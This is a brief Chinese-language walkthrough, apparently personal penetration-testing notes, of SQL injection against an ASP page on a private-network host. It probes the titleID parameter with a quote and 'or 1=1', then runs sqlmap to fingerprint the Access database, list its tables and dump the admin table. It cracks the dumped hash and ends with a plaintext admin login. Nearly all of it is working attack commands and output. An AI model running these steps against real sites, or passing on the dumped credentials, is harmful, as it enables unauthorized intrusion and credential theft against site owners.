http://192.168.1.55/see.asp?ID=462&titleID=86 ‘

报错

Microsoft JET Database Engine 错误 ’80040e14’

字符串的语法错误 在查询表达式 ’titleid=86’’ 中。

/see.asp，行 292

测试

http://192.168.1.55/see.asp?ID=462&titleID=86 or 1=1

成功执行

查看Microsoft JET Database 语法，构建sql语句

或者

sqlmap暴力破解：

python sqlmap.py -u ’http://192.168.1.55/see.asp?ID=462&titleID=86’

获得信息如下：

[14:28:58] [INFO] the back-end DBMS is Microsoft Access

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft Access

sqlmap爆破获得表admin

python sqlmap.py -u ’http://192.168.1.55/see.asp?ID=462&titleID=86’ --tables

信息如下：

Database: Microsoft_Access_masterdb

[4 tables]

+--------+

| admin |

| config |

| links |

| news |

+--------+

sqlmap 爆破 admin 获得 用户及加密密码：

python sqlmap.py -u 'http://192.168.1.55/see.asp?ID=462&titleID=86' -T admin --dump

获得信息如下：

[14:27:41] [WARNING] no clear password(s) found

Database: Microsoft_Access_masterdb

Table: admin

[1 entry]

id	flag	admin	password
4	0	linhai	49ba59abbe56e057

加密密码 49ba59abbe56e057 拿到解密网站适配可得 123456

linhai/123456